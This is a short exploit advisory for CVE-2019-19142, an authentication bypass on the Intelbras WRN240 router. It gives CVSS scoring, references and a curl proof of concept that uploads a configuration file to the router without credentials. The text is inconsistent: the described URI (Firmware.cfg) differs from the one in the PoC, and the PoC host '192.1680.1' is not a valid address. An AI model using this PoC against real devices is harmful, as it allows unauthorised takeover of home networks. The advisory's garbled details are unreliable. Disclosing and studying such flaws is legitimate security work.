Intelbras Wireless N 150Mbps WRN240 Authentication Bypass

2020.03.03

Credit: Elber Tavares

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2019-19142

CWE: CWE-862

CVSS Base Score: 5/10

Impact Subscore: 2.9/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

# Exploit Title: Intelbras Wireless N 150Mbps WRN240 - Authentication Bypass (Config Upload)
# Date: 2019-11-20
# Exploit Author: Elber Tavares
# Vendor Homepage: https://www.intelbras.com/
# Software Link: http://en.intelbras.com.br/node/1033
# Version: Intelbras Wireless N 150Mbps - WRN240
# Tested on: linux, windows
# CVE: CVE-2019-19142
Intelbras WRN240 devices do not require authentication to replace the
firmware via a POST request to the incoming/Firmware.cfg URI.
REFS:
https://fireshellsecurity.team/hack-n-routers/
https://github.com/ElberTavares/routers-exploit/
Poc:
curl -i -X POST -H "Content-Type: multipart/form-data" -H "Referer:
http://192.168.0.1/userRpm/BakNRestoreRpm.htm" -F data=@config.bin
http://192.1680.1/incoming/RouterBakCfgUpload.cfg

See this note in RAW Version

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Intelbras Wireless N 150Mbps WRN240 Authentication Bypass

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